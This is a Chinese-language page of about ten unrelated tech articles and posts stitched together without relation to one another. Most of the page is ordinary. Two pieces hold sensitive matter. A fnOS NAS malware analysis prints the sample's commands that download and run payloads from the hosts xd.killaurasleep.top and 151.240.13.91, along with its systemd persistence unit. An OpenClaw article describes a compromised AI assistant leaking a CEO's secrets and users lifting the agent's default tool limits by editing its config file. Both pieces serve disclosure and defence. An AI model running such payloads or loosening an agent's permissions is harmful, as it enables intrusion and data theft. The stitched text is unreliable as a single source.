值得注意的是,这些并非个例,而是一场系统性安全灾难。OpenClaw(含沙箱浏览器入口)默认将服务绑定至 0.0.0.0 (全网卡监听),早期版本 x11vnc 甚至启用 -nopw (无密码认证)。这意味着,运行 Docker 时若未添加 --network host 或显式限制端口发布,等同于将整个浏览器桌面直接丢进公网。

 

“这些 Agent 就像以前的共享软件,存在大量安全漏洞。”有人说道。

 

前不久,Cato CTRL 的高级安全研究员 Vitaly Simonovich 也披露了一起让 Agent 圈警醒的案例:攻击者通过一台遭入侵的、基于 OpenClaw 的 AI 个人智能体,拿到并出售英国一家自动化公司 CEO 电脑的 root shell 访问权限,甚至还把这项权限直接挂上暗网出售,开价 2.5 万美元。

 

但真正值钱的,甚至不是 root 权限本身,而是这位 CEO 背后的 OpenClaw 实例。因为这款 AI 私人助理,早已在悄无声息地替攻击者“攒情报”:关于家庭、爱好和财务的私人对话、公司完整生产数据库、Telegram 机器人账号信息,甚至还有 CEO 正在开发的 Trading 212 交易机器人可用 API 密钥。

 

卖家“fluffyduck”将目标公司描述为一家拥有 11–50 名员工的英国小型自动化公司。该公司主要开发可编程逻辑控制器(PLC)、安装工业机器人、制造定制装配机和自动导引车(AGV),同时还是西门子的合作伙伴,公司资产规模约为 80 万英镑。

 

他甚至还特意强调,这位 CEO 直到当时还在持续与这个 AI 助手聊天,“边聊边泄露”,因此是一个“近乎完美的目标”。

 

具体来看,这个被挂到暗网出售的 OpenClaw 实例,几乎等于把一个 CEO 的数字生活和一家公司的运营底牌一起交到了攻击者手里,包括:

  • OpenClaw AI 助手的完整访问权限(包括全部对话、上下文和长期记忆)

  • OpenClaw 控制台账号凭证

  • CEO 的 Telegram 机器人 token 和 chat ID

  • Trading 212 交易 API 密钥(CEO 正在开发交易机器人)

  • CEO 向 AI 透露的大量个人信息,包括家庭情况、妻子、孩子、兴趣爱好以及家庭联系人

 

更夸张的是,数据库层面的暴露也不是零散信息,而是高度完整的企业运营数据,涵盖客户联系人、现金流预测、人工成本、采购订单、项目进度、资源可用性、排班模式、通知偏好等几十张业务数据表。也就是说,黑客盯上的,已经不只是你的电脑,而是你身边那个最懂你、也替你记住一切的 OpenClaw 个人助理。

 

为什么这类 Agent 天生不安全

“2026 年最大的安全风险,不在于 AI 有多智能,而在于开发者把本地等同于安全。OpenClaw 再强大,也挡不住一次 0.0.0.0 的疏忽。”当前,所有 OpenClaw 用户们都需要警惕其风险了。

 

事实上,OpenClaw 创始人 Peter 早就提醒过,这个项目最初并不是为了公网环境设计的,但阻止不了大家把它直接放公网上。Peter 表示,Openclaw 的 Web 服务最早只是一个本地调试工具,默认使用场景是本地可信网络,所以没有公网必需的安全机制。

 

最近,OpenClaw 也开始尝试通过权限收紧来降低风险。例如,在 2026.3.2 的新版本中,默认工具权限被大幅限制,只保留了 messaging(消息)权限,像 coding、system 等涉及系统操作的能力都被默认关闭。

 

但从开发者社区的反馈来看,这种限制也并非不可绕过。有开发者在 X 上调侃道:

“新安装的 2026.3.2 版本默认只有 messaging 权限,其它 coding、system 权限全没了……你的龙虾只能陪你聊天了。”

不过,如果直接修改 openclaw.json 配置文件,把 messaging 改为 full 或删除限制,再重启服务,“一只活蹦乱跳的龙虾就回来了”。

 

换句话说,虽然官方已经开始收紧默认权限,但对于熟悉部署流程的用户来说,这些限制并不难被修改。而在越来越多人把 OpenClaw 部署到公网服务器的情况下,这种“默认安全 + 手动放开权限”的模式,究竟能在多大程度上降低风险,仍然是一个值得观察的问题。

 

值得注意的是,Anthropic 和谷歌正在严厉打击在其平台上运行 OpenClaw 的用户。Anthropic 更新了使用条款,明确禁止通过第三方工具使用 Claude 订阅的 OAuth token(包括 OpenClaw 这类封装工具)。谷歌也突击封杀使用开源智能体 OpenClaw 的开发者账号,并指控他们存在“恶意使用”行为。

 

CNBC Deirdre Bosa:如今,OpenClaw 在中国的热度,甚至可能已经超过了硅谷。

字节跳动、阿里巴巴、腾讯都在围绕它打造云服务;线下聚会动辄三百人规模;甚至连“上门安装 OpenClaw”,都开始变成一门火爆的副业。

而在美国这边,却是另一番景象:Anthropic 和 Google 正在加强限制,打击用户通过它们的平台运行 OpenClaw。

 

上月,中国工业和信息化部也发布安全警报,警告 OpenClaw 存在相关风险。警报指出,监控发现某些 OpenClaw 部署在默认或不当配置下会引发较高的安全风险,使其极易受到网络攻击和信息泄露。

“这就像让⼀个握有你全部秘密(API Key、 密码) 的笨⼩孩出⻔办事, 路上随时可能被⼏块糖(Prompt Injection) 骗⾛你家地址。”对于热门的 OpenClaw,前 Meta AI 研究总监⽥渊栋在近日的一场对话中这样评价。据称,他在试⽤OpenClaw 两⼩时后选择了卸载,核⼼担忧就是安全。

 

参考链接:

https://x.com/landiantech/status/2029946380039684322?s=20

https://x.com/evilcos/status/2029939612941176872

 

受不了文件没地方临时放,我做了个 macOS 拖拽口袋 Pocket

最近总是遇到一个问题:

我拖一堆零散文件、截图、下载附件……
然后不知道放哪。

桌面放着又乱,Finder 里开窗口又很打断节奏。
我想要一个 “先随手放一边,等会再处理” 的地方。

于是我就自己写了一个小工具 —— Pocket


用法很简单

  • 拖着文件 左右晃一晃也支持快捷键呼出
  • 一个 悬浮口袋 就出现了
  • 文件丢进去暂存,想什么时候用就拖出来,口袋无文件自动关闭
  • 列表里可以 单个移除
  • 原生毛玻璃 HUD 风格,不打扰桌面


技术实现

技术上其实很朴素:

  • SwiftUI + AppKit
  • 全局鼠标事件监听
  • NSPasteboard 拖拽识别

没有什么黑科技,重点是 体验顺手


为什么会做这个

我自己放在电脑上用了一段时间,
发现 每天都会用到很多次

然后我突然意识到:

也许不只是我一个人需要这个东西。


现在还很早期

目前这个工具还处在很初期的阶段:

  • 交互细节没完全打磨
  • 功能比较少
  • 可能存在一些 bug


想听听大家的真实感受

特别想知道,这种 “临时口袋” 在你的工作流里有没有价值?你更希望它保持极简,还是慢慢变强?以下是我的路线

  • 右键菜单: 列表中的文件需要右键菜单:“在 Finder 中显示”、“拷贝路径”、“直接分享”
  • 多选支持:允许用户一次性拖入或拖出多个文件。
  • 文本支持:目前只支持文件,不支持文本,快捷键支持文本加入口袋

哪怕一句很主观的感受也很有帮助。

如果大家觉得这个方向是对的,我会继续打磨它,
可能会 开源,也可能会 做成一个正式的小工具

下面是工具的截图

  • 左右晃一晃呼出效果
  • 文件拖出来式的效果
    screenshot

screenshot

总之,这是我做的 一个只解决一件事的小工具
也是我自己 最想每天用的小玩意

从「AI For What」到「Value From AI」,100+可落地实践案例打通 AI 实战最后一公里!

4 月 16 日-4 月 18 日,QCon 全球软件开发大会将在北京举办。本届大会锚定 Agentic AI 时代的软件工程重塑,聚焦 Agentic AI、多智能体协作、算力优化、技术债治理、多模态和 AI 原生基础设施等前沿话题,邀请来自腾讯、阿里、百度、华为、蚂蚁、小米、网易等企业技术专家,带来百余项真实落地案例,系统性分享前沿洞察与实战干货,以技术共创探索 AI 落地新路径。

阿里云高级技术专家马云雷已确认出席 “Agentic Engineering” 专题,并发表题为从 Demo 到规模落地:AIOps Agent 在复杂云原生场景下的研发范式与数据飞轮实践的主题分享。当前,Agent 已成为企业执行复杂任务的核心载体。但在运维等深水区,开发者常面临“Demo 惊艳,落地乏力”的困境:面对海量异构的日志、指标与动态拓扑,Agent 极易产生幻觉,且性能与成本难以平衡。本次分享将以云原生基础设施智能运维 Agent 的研发过程为核心案例,深入探讨如何打破传统研发模式,构建以统一语义层 UModel 为底座、以数据飞轮为驱动的 Agent Engineering 新范式。

马云雷,拥有 14 年可观测行业经验,从 0 到 1 参与可观测体系建设,主导日志采集、查询、向量搜索、大模型可观测等模块,支撑阿里云可观测实现日处理百 PB 级数据、秒级查询百亿数据。目前专注 Data+AI 方向,探索 Data for AI 与 AI for Data:基于多模态存储检索、数据飞轮、Agent 记忆等赋能 Agent 迭代与训练;依托 Agent 实现 NL2SQL 可执行率 98%,持续迭代 AIOps Agent,在 Agent 研发与运维中沉淀实践,助力构建高效 Agent 数据基座。他在本次会议的详细演讲内容如下:

演讲提纲

  1. AIOps Agent 落地微服务场景的深水区挑战

  • 复杂云原生架构下的故障模式:为何传统 RAG 无法处理动态拓扑与海量日志?

  • Agent 规模化落地的核心障碍:语义断裂、不可度量、成本失控。

2. 构建行业知识的本体:基于统一语义层 UModel 的世界模型

  • 解决 LLM 对数字世界的理解鸿沟:如何将异构运维数据抽象为统一语义表述。

  • 算子下推与大小模型协同:如何降低 90% 以上的 Token 消耗并提升响应时延。

  • 案例展示:Agent 如何在统一地图上实现有方向的根因分析。

3. 数据进化:从在线运行时数据到 Agent 可靠性飞轮

  • 构建全链路观测体系: 如何通过高质量、无侵入的探针采集 Agent 运行时数据,实现对 Agent 执行路径的深度 Debug。

  • 高质量数据集的持续沉淀: 从海量生产 Trace 中自动化提取、清洗出具有高置信度的数据集用于评估和 RL。

  • 自动化回归与评估: 建立基于实时数据的回归评估机制,确保 Agent 的每一次版本迭代、Prompt 修改或模型升级都“有据可依”。

4. 记忆增强:基于 Context 知识沉淀的长程交互优化

  • 从短期机器挖掘长期价值: 如何将 Agent 的上下文知识转化为长期记忆,沉淀用户交互习惯与专业运维经验。

  • 提升理解准确率: 记忆系统如何辅助 Agent 更好地理解用户意图,解决语义理解的 gap,减少重复问询,提升复杂问题的首轮解决率。

5. 总结:Agent Engineering 的未来范式

  • DevOps 流程的变化:从 Dev/Ops 分离,到 DevOps 一体化。注重挖掘运行时数据的价值,持续性迭代 Agent 应用的质量。

这样的技术在实践过程中有哪些痛点?

  • Agent 评测难: 解决基于 LLM 的评估系统置信度不高、End-to-End 指标过粗无法指导优化的问题。

  • 数据利用率低: 解决线上运行的大量 Trace/Log 无法有效转化为模型进化资产的痛点。

  • 落地门槛高: 提供一套从碎片化数据到结构化 Agent 决策的标准化路径。

演讲亮点

  • UModel 统一语义层,解决 LLM 语义世界和数字世界的理解鸿沟;

  • 在线数据飞轮,基于 Runtime Trace 持续迭代 Agent 的质量。

听众收益

  • 深水区实战: 深入分享 AIOps 这一最复杂 Agent 场景的真实踩坑经验。

  • 工程化范式: 完整介绍一套可复用的 Agent Engineering 方法论,涵盖从语义观测、分层评测到数据回流的全链路。

  • 技术前瞻: 探讨统一语义层解决 Agent 幻觉和不可靠的问题,通过数据飞轮持续迭代提升 Agent 的质量。

除此之外,本次大会还策划了Agentic Engineering多模态理解与生成的突破记忆觉醒:智能体记忆系统的范式重塑与产业落地具身智能与物理世界交互Agent Infra 架构设计AI 重塑数据生产与消费AI 原生基础设施AI 驱动的技术债治理小模型与领域适配模型大模型算力优化Agent 可观测性与评估工程AI for SRE等 20 多个专题论坛,届时将有来自不同行业、不同领域、不同企业的 100+资深专家在 QCon 北京站现场带来前沿技术洞察和一线实践经验。

更多详情可扫码或联系票务经理 18514549229 进行咨询。

新人第一次正经做开源项目,想装饰下自己的 profile ,就用 claude 试试水,做了一个英语签名动画生成,先上效果。
signature

目前支持的功能

  • 8 种手写字体
  • 6 种墨迹颜色
  • 透明背景 / 自定义颜色背景
  • 动态 / 静态 SVG/APNG 输出
  • 提供 Web 界面 + API 两种使用方式
  • Node.js 零依赖 API ,支持一键部署到 Vercel

部署在 vercel 的页面 https://readme-signature-generate.vercel.app

API 使用示例:

https://readme-signature-generate-1qezc8u6a-mcoylabs-projects.vercel.app/api?signature=John+Smith&font=refined&color=black&speed=0.5&bg=%23ffffff

欢迎大家试用,提 issue 、PR 和 star 。
也希望推荐几个好用的花哨的 API 可以让继续装点我的 profile

整理桌面,顺带整理抽屉发现一大堆过期的药品:
丢到垃圾桶的药

还有以前保健品(尤其是还没拆盒子的善存,叶黄素啊之类的),如:
未开盒的保健品

发现以后老了可能也是"买保健品"的那种命,这感觉就是怕死吧

还有一个就是现在为缓解身体和器官的发炎,不适,以及疼痛要服用的一些药物,中药,有时也会突然丧失生活的信心,但又得坚持下去。

以及每天可能要服用以及外用的药

感觉已经过了那个死就死吧的年纪了,尤其是有了孩子之后,失去了怒发冲冠,豁出一切的勇气(当然孩子也有可能是借口,总之就是失去了锐气和朝气),感觉真是即怕疼,又怕死,每天吃一堆这玩意,晦气。

我的读书笔记,主要内容就是自己做了一张 OKR 和 KPI 的对比表格。 📝📝📝

【读书笔记】OKR 不适合国企


【读书笔记】OKR 不适合国企

一、OKR 是什么?

OKR = Objectives(目标)+ Key Results(关键结果)

它是一套目标对齐、聚焦、透明、可衡量的管理工具,用来回答两件事:

  • 我们 要去哪里 ?(O,目标)
  • 我们 怎么证明到了 ?(KR,关键结果)

二、OKR 核心要点

1. O 要定性

有方向、敢挑战,不写数字,只写方向,比如:「提升产品口碑」、「打造高效团队」。

2. KR 必须定量

必须能算出来,可验收、可打分,比如:「用户满意度从 90% 提升到 95%」、「交付周期缩短 20%」。

3. 少而精

一般 3–5 个 O,每个 O 配 2–4 个 KR,避免目标泛滥。

4. 全员公开透明

从上到下都能看见,减少内耗,对齐战略。

5. 上下结合

公司定方向 → 部门拆解 → 个人主动认领,而不是硬压。

6. 弱挂钩薪酬

OKR 是 管理工具,不是考核工具,鼓励挑战高难度,不因为完不成直接罚钱。

7. 短周期迭代

通常按 季度 执行,灵活调整。

三、标准化 OKR 工具

  • 飞书 OKR(互联网 / 科技公司最常用)
  • 钉钉 OKR(阿里生态)
  • 企业微信 OKR(腾讯生态)

四、OKR 与 KPI 的主要区别

640

五、国企适合哪一种

传统国企不适合纯 OKR,也不建议死守纯 KPI。

最优方案:KPI 为主体,OKR 做补充

1. 原因分析

①国企的特点

层级清晰、合规优先、考核与薪酬强绑定、稳定>冒险、有大量刚性指标。

②纯 OKR 不适合

OKR 弱考核、鼓励挑战、自下而上,和国企 「任务必须完成、责任落实到人」 的体系冲突。

③纯 KPI 太僵化

扼杀创新、改革、数字化、专项攻坚的动力。

2. 落地建议

①刚性任务用 KPI

营收、利润、安全生产、合规、政务要求、基础运维。

②创新 / 改革 / 项目用 OKR

数字化转型、流程优化、新业务试点、专项攻坚、服务提升。

六、相关书籍推荐

1. John Doerr《这就是 OKR》

640

本文就是主要参考这一本,OKR 最权威的书,Google、Intel 等超级企业的实战源头,必读。

2. Christina Wodtke《OKR 工作法》

640 (1)

入门比较友好,手把手教你写 O 和 KR,推荐。


全文链接 【读书笔记】OKR 不适合国企

2. 漏洞背景与威胁暴露面

2.1 漏洞描述:未授权路径穿越

漏洞点位于 /app-center-static 静态资源接口。由于程序未能对输入路径进行充分的规范化校验,攻击者可通过构造包含 ../ 的特殊序列,越权访问系统内核文件及用户私有目录(如 /etc/shadow, /root/.ssh/id_rsa, 以及系统配置文件)。

2.2 暴露情况分析

截至2026年初,全球约有 20万+ 台飞牛NAS设备公网暴露。由于官方早期版本更新采用静默方式且缺乏公开安全公告,大量用户未能及时修补,形成了一个规模庞大的脆弱性暴露面。


3. 恶意样本静态概览 (Static Analysis)

实验对捕获的样本进行了基础属性鉴定:

属性项 技术参数
样本名 BKD-fnOS-Agent
文件类型 ELF 64-bit LSB executable, x86-64
文件大小 2.13 MB (2,132,816 Bytes)
MD5 8952adf21c927cd228c24ca431d3cdaf
SHA256 3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd
符号表 已剥离 (Stripped)


4. 样本核心恶意逻辑解析 (Technical Breakdown)

4.1 基于状态机的控制流 (State Machine)

样本核心主函数 sub_4D0 采用经典的状态机设计。这种架构能够有效对抗简单的静态特征匹配,并使恶意行为呈现高度的动态性和阶段性。

2.png

  • 初始状态 (ID: 5): 环境自检与环境变量初始化。
  • 指令等待 (ID: 8): 与 C2 通信获取后续指示。
  • 载荷下发 (ID: 22): 执行核心横向移动或二阶段载荷下载。

4.2 隐蔽下载与静默执行

在状态 22LL 下,样本展现了典型的“无文件投放”尝试,通过临时目录 /tmp 进行二阶段转存并立即执行:

// 伪代码:恶意载荷下载逻辑
case 22LL:
  sub_CF0("cd /tmp; rm -rf bkd; wget http://xd.killaurasleep.top/bkd; chmod +x bkd; ./bkd; rm -rf bkd");
  sub_CF0("cd /tmp; rm -rf bkd2; wget http://151.240.13.91/bkd2; chmod +x bkd2; ./bkd2; rm -rf bkd2");

3.png

此阶段采用了双重冗余策略:同时尝试从域名 xd.killaurasleep.top 和原生存 IP 151.240.13.91 获取载荷,确保攻击链路的稳健性。

4.3 标准流重定向技术

为规避各种终端审计和用户察觉,样本在 sub_CF0 中实现了复杂的重定向逻辑。它通过调用 dup2 将文件描述符 1 (stdout) 和 2 (stderr) 全部导向 /dev/null

4.png

5.png

这种做法意味着任何由 sub_115D (execve 包装器) 启动的子进程都处于“完全静默”状态,即便产生错误信息也无法回显到终端。

4.4 系统调用包装器与参数处理 (Execve Wrapper)

样本并未直接调用 libc 库函数,而是通过 sub_115D 实现了 execve 系统调用的深度包装。该函数具备处理可变参数的能力,能够灵活构造复杂的 shell 命令执行环境。

6.png

分析显示,sub_115D 使用了 va_list 机制遍历传入的参数。为了保证参数在内核态执行时的稳定性,样本通过 alloca 指令在栈上动态分配内存空间,将参数数组序列化后添加 NULL 终止符。

7.png

这种设计不仅增强了代码的可移植性,也为后续复杂插件或二阶段载荷的加载提供了底层支撑。


5. 持久化机制深度分析 (Persistence)

样本针对 fnOS 基于 Linux 的特性,选择了最稳定的持久化方案:Systemd Service 注入

5.1 服务文件构造 (sub_990)

样本会将自身重排并复制到系统受信任路径(如 /usr/bin/),随后动态生成一个 .service 配置文件。

8.png

9.png

生成的服务配置样例:

[Unit]
Description=AutoStart Service
After=network-online.target

[Service]
Type=oneshot
ExecStart=/usr/bin/[BKD_NAME]
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target

5.2 自动启动链条

通过执行 systemctl enable [service_name],攻击者在 /etc/systemd/system/multi-user.target.wants/ 下建立了软链接。这确保了 NAS 设备即便在断电重启或固件升级后,恶意进程依然会自动重新拉起。

10.png


6. 威胁情报 (Threat Intelligence - IOCs)

6.1 文件哈希 (Host Indicators)

  • MD5: 8952adf21c927cd228c24ca431d3cdaf
  • SHA-256: 3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd

6.2 网络基础设施 (Network Indicators)

  • C2 域名: xd.killaurasleep.top
  • C2 IP 地址: 151.240.13.91
  • 资源定位器 (URLs):
    • http://xd.killaurasleep.top/bkd
    • http://151.240.13.91/bkd2

6.3 关键落地路径 (File Path IOCs)

类别 检视路径
疑似恶意程序 /usr/sbin/gots / /usr/bin/nginx / /usr/bin/dockers
系统组件篡改 /usr/trim/bin/trim_https_cgi
持久化服务 /etc/systemd/system/*.service
临时工作目录 /tmp/bkd, /tmp/bkd2


7. 处置与加固建议

  1. 紧急排查: 检查系统是否存在上述 IOC 列表中的文件或异常 systemd 服务,重点关注 /usr/bin/ 目录下近期新增的可执行文件。
  2. 固件更新: 立即升级 fnOS 至最新版本,确保路径穿越补丁已生效。
  3. 内网隔离: 在未完成修复前,建议关闭 NAS 设备的外部端口转发或使用 VPN 安全隧道。
  4. 凭据清洗: 由于攻击者可能利用路径穿越窃取 /etc/shadow,建议在清理完成后修改所有超级用户密码及 SSH 密钥。

AI 正在重新定义产品经理和设计师的工作方式。现在,只要一句话就能做出高保真原型,早已不是概念,而是很多团队提升效率的日常操作。为了帮你选出最适合自己的 AI 原型工具,这篇文章会详细拆解 5 款国内外热门工具,从 AI 生成效果、原型精细度、后期修改、资源素材、团队协作等多个角度进行全面对比。

  1. Figma
    Figma 从 2024 年开始陆续加入 AI 功能,正式入局 AI 高保真原型工具。它通过 AI 生成设计、智能布局、自动加代码注释等功能,帮设计师更快出初稿,也让设计到开发的协作更顺畅。
    image.png

1.1 主要特色

  • AI 生成页面结构:一句话出页面框架,但需要人工再优化。
  • 自动生成代码注释:设计和开发对接更轻松,很受工程师认可。
  • 插件生态极强:各类 AI 插件可以扩展原型、UI、资源管理等能力。
    1.2 不足
  • 国内常用的业务组件不够丰富,很多 ToC、ToB 场景不如国产工具顺手。
  • 服务器在国外,国内使用时偶尔会加载慢、协作卡顿、同步不及时。
  1. UXbot
    UXbot是国内比较热门且好用的原型工具,不管是简单的一句话需求,还是专业复杂的 PRD 文档,它都能直接生成跳转逻辑清晰、可交互的完整项目,甚至还支持Web、App等多端前端代码。UXbot生成的原型基本能覆盖市面上绝大多数项目场景,很适合产品经理、设计师、开发及项目负责人用来做前期验证、团队评审和项目演示。
    image.png

2.1 特点

  • AI生成的项目完全可以适配各种复杂的项目,可以拿来直接做客户演示,如果需要调整,也支持「AI助手」和「精准编辑器」两种方式修改,操作简单方便,小白也能上手。
  • 打通了设计与开发的壁垒,原型生成后能一键生成Web(Vue)代码,iOS(Swift)以及Android(Kotlin)原生代码,支持导出到IDE工具内进一步开发。
    2.2不足
  • 作为线工具,对网络稳定性要求较高,断网或外出无网络时无法正常使用。
  • 多项目生成需要付费解锁,免费版存在算力限制,对个人用户和小团队不算友好。
  1. Galileo AI
    Galileo AI 专注于文字描述生成高保真界面,模型用了大量 UI 设计数据训练,视觉生成能力很强。主要用在需要快速出静态设计稿的项目,是设计师和产品团队早期探索界面、验证灵感的好帮手。
    image.png

3.1 特点

  • 基于海量 UI 数据训练,Galileo AI生成的界面在布局、色彩搭配和视觉风格上都很专业,看着就像有经验的设计师做出来的。
  • 只要输入一句文字描述,比如“设计一个简洁的移动端个人中心页面”,就能快速生成完整的高保真界面,哪怕是新手也能轻松上手,省去从零搭建界面的麻烦。
    3.2 不足
  • 更偏向于生成静态界面,无法满足多状态组件、动态交互、页面跳转逻辑等复杂原型需求。
  • 无法灵活的对生成的页面进行修改,比如想修改组件样式、调整布局,操作起来比较繁琐,不如专业设计工具便捷。
  1. Tldraw AI
    Relume AI 是国外很火的 AI 原型工具,核心优势是快速生成网页和原型,操作简单,适合把产品概念快速变成可视化界面,主要面向营销页、官网和快速原型设计。
    image.png

4.1 特点

  • 界面设计非常简洁,没有多余的复杂功能,只有画笔、文本框、基础图形等常用工具。
  • 支持离线使用,没有网络也能正常绘制、查看草稿,不用担心网络问题影响创意捕捉,适配各种使用场景。
    4.2 不足
  • 功能比较基础,只能生成简易的界面草稿,不适合做完整的产品原型设计,也无法支撑复杂业务逻辑和多状态组件的搭建。
  • 生成的只是界面草稿,视觉精度和细节都比较欠缺,不能直接用于原型交付,还需要人工进行大量优化。
  1. Visily AI
    Visily 是当前国外备受关注的AI原型工具,核心竞争力是快速将创意转化为可视化界面,同时兼顾协作效率,适合快速把产品概念转化为可交互的高保真原型,主要面向产品经理、初创团队、非设计从业者,帮助各类人群节省前期原型设计与创意落地时间。
    image.png

5.1 特点

  • Visily支持通过文本描述、截图、手绘草图甚至网页链接等多种方式生成原型。
  • 支持多人实时协作、在线批注、光标聊天和跟随模式,可快速分享原型链接,甚至可以建立共享资源库。
    5.2 不足
  • 无法支持复杂的交互,更擅长基础交互和页面跳转,无法满足多状态组件、复杂的条件逻辑和动态效果,不能做功能复杂的产品原型
  • 有一定的行业壁垒,对于完全没有设计和原型基础的新手,无法直接上手操作。

最后总结
看到这里你应该能发现:AI 高保真原型工具早已不是未来趋势,而是产品经理和设计师实实在在的效率神器。从理解需求结构、生成交互,到还原高保真视觉,再到完成团队协作闭环,AI 已经把过去设计师要花几天才能做完的原型,压缩到几分钟就能搞定。
在这 5 款工具里,UXbot是更贴合产品经理的全流程方案,上手简单,新手也能快速做出专业原型。别再被繁琐的原型工作拖累,让 AI 帮你搞定重复劳动,你只需要专注在最核心的事情上——需求、逻辑、价值判断。

大家好,我是 Java陈序员

在云原生时代,Kubernetes 早已成为集群管理的标配。随着企业 K8s 集群规模扩大、业务场景复杂化,传统管理工具的短板愈发明显。对于云原生开发者而言,一款轻量、高效、覆盖全生命周期的 K8s 可视化面板工具,早已成为刚需。

今天,给大家介绍一款现代化的 Kubernetes 集群管理与监控工具,不仅功能强大而且轻量灵活!

关注微信公众号:【Java陈序员】,获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。

项目介绍

kite —— 一个轻量级、现代化的 Kubernetes 仪表盘,旨在为 Kubernetes 集群提供直观、易用的管理和监控界面。

功能特色

  • 全面的资源管理:全面覆盖 Pod、Deployment、Service、ConfigMap 等核心资源的管理,支持实时 YAML 编辑,详细视图和资源关系可视化
  • 多集群管理:支持管控多个 kubernetes 集群,集群间切换像切标签页一样简单,且拥有独立的配置
  • 细粒度权限管控:支持 RBAC 角色访问控制 + OAuth 集成,企业场景下可按需分配集群/资源操作权限
  • 现代化用户体验:精美的设计,提供清晰直观的界面,支持中英双语、深色/浅色主题,并提供高级搜索功能
  • 多维度监控:提供集群健康状态、Pod 级别的性能监控与资源使用率统计,支持实时 Pod 日志流(支持过滤/搜索)和执行终端命令
  • 轻量灵活:占用资源低,极速响应,支持 Docker 、Helm 部署,开箱即用

技术栈:Go + React + TypeScript

快速上手

Docker 部署

1、拉取镜像

docker pull ghcr.io/kite-org/kite:latest

2、创建挂载目录

mkdir -p /data/software/kite

3、运行容器

docker run -d --name kite \
    -p 8090:8080 \
    -v /data/software/kite:/data \
    -e DB_DSN=/data/db.sqlite \
    ghcr.io/kite-org/kite:latest

4、容器启动成功后,浏览器访问

http://{IP/域名}:8080

5、首次访问需要初始化设置,创建超级管理员用户

6、管理员用户创建好后,需要导入 Kubernetes 集群,根据说明导入 Kubeconfig,

7、集群导入成功后,重新登录后就可以开始使用了

Kubernetes 部署

  • 使用 Helm (推荐)

1、添加 Helm 仓库

helm repo add kite https://kite-org.github.io/kite/
helm repo update

2、使用默认值安装

helm install kite kite/kite -n kube-system
  • 使用 kubectl

1、应用部署清单

kubectl apply -f deploy/install.yaml
# 或在线安装
# 注意:此方法可能不适合生产环境,因为他没有配置任何持久化相关内容,你需要手动挂载持久化卷并设置环境变量 DB_DSN=/data/db.sqlite 来确保数据不会丢失。或者也可以外部数据库。
# 参考: https://kite.zzde.me/zh/faq.html#%E6%8C%81%E4%B9%85%E5%8C%96%E7%9B%B8%E5%85%B3
kubectl apply -f https://raw.githubusercontent.com/kite-org/kite/refs/heads/main/deploy/install.yaml

2、通过端口转发访问

kubectl port-forward -n kube-system svc/kite 8080:8080

功能体验

  • 概览

  • 服务

  • 容器组

  • 部署

  • 配置映射

  • 服务账户

  • 命名空间

如果你想要一款颜值在线、功能全面的 Kubernetes 仪表盘,不妨试试 kite —— 用更优雅的方式管理 K8s 集群,让云原生开发更高效!快去部署吧~

项目地址:https://github.com/kite-org/kite

最后

推荐的开源项目已经收录到 GitHub 项目,欢迎 Star

https://github.com/chenyl8848/great-open-source-project

或者访问网站,进行在线浏览:

https://chencoding.top:8090/#/

我创建了一个开源项目交流群,方便大家在群里交流、讨论开源项目

但是任何人在群里打任何广告,都会被 T 掉

如果你对这个交流群感兴趣或者在使用开源项目中遇到问题,可以通过如下方式进群

关注微信公众号:【Java陈序员】,回复【开源项目交流群】进群,或者通过公众号下方的菜单添加个人微信,并备注【开源项目交流群】,通过后拉你进群

大家的点赞、收藏和评论都是对作者的支持,如文章对你有帮助还请点赞转发支持下,谢谢!

阿里 CEO 发内部信批准林俊旸离职,谷歌 DeepMind 抛橄榄枝;鹅厂门口排队装“龙虾”,OpenClaw 火爆全国;雷军:不推荐普通用户在主力设备上升级“手机龙虾”;黄仁勋:OpenClaw 是有史以来最重要的软件发布;节跳动启动最大规模转正实习生招聘,拟招超 7000 人;OpenAI 开源计划:开发者免费享半年 ChatGPT Pro 订阅;参加春晚后,魔法原子创始人吴长征被曝离职创业;死了么创始人,已离职;女子突然收到陌生好友申请,对方直说“我是 AI 工具推荐的”;字节 Seedance2.0 公布定价标准:平均 1 秒钟 1 块钱;AI 编程助手 Cursor 年化收入突破 20 亿美元,企业客户贡献六成;Anthropic 研究报告:先拥抱 AI 的行业或许会先被 AI 吃掉;韩国棋手李世石时隔 10 年再战 AI……

 

行业热点

 

阿里 CEO 发内部信批准林俊旸离职,谷歌 DeepMind 抛橄榄枝

 

3 月 5 日,千问技术负责人林俊旸出走一事有新进展,媒体获悉,阿里巴巴 CEO 吴泳铭在内部邮件中回应林俊旸离职一事。他表示,将继续坚持开源模型策略,持续加大 AI 研发投入和吸纳优秀人才力度。

 

而就在 3 月 5 日下午,谷歌 DeepMind 开发团队相关负责人 Omar Sanseviero 在社交平台喊话 Qwen 的朋友:“如果您想找个新地方来构建优秀的模型,并为开放模型生态系统做出贡献,请联系我们!我们的发展路线图上有很多令人兴奋的内容,未来还有很多工作要做。”此次 Omar Sanseviero 发文喊话,或为招募林俊旸等人加入谷歌。

 

智谱 AI 创始人唐杰也迅速回复“cool. start a new journey”,公开表达鼓励与潜在招揽意味。唐杰在 Qwen 离职成员 Kaixin Li 的离职帖,直接回复“join us, more focus”。对另一 Qwen 离职成员 Kaixin Li 的回复:加入我们,更专注。虽然唐杰没有直接对林俊旸说“join us”,但他对 Qwen 团队成员的连续回复(尤其是“join us”),被视为公开喊话招揽整个离职团队,包括林俊旸。

 

此前报道,3 月 4 日凌晨,阿里巴巴千问核心负责人林俊旸在其社媒发文表示:me stepping down. bye my beloved qwen.(我卸任了。再见了,我亲爱的千问。)

 

晚点在本周五也梳理了一遍林俊旸的这场离职风波,里面提到阿里管理层对林俊旸”「未经沟通即公开宣布离职“的行为,是对公司组织制度的挑战。据晚点了解,林俊旸发出离职状态时,阿里并未回应他的离职请求。一位阿里人士称,”制度是不能碰的,而他在挑战公司制度。“这里的”制度“是指在阿里,所有人都是公司员工,升和降都由公司决定,如果不满可以正常沟通,但不能没沟通就到社交媒体公开发声,不能开这样的先例。

 

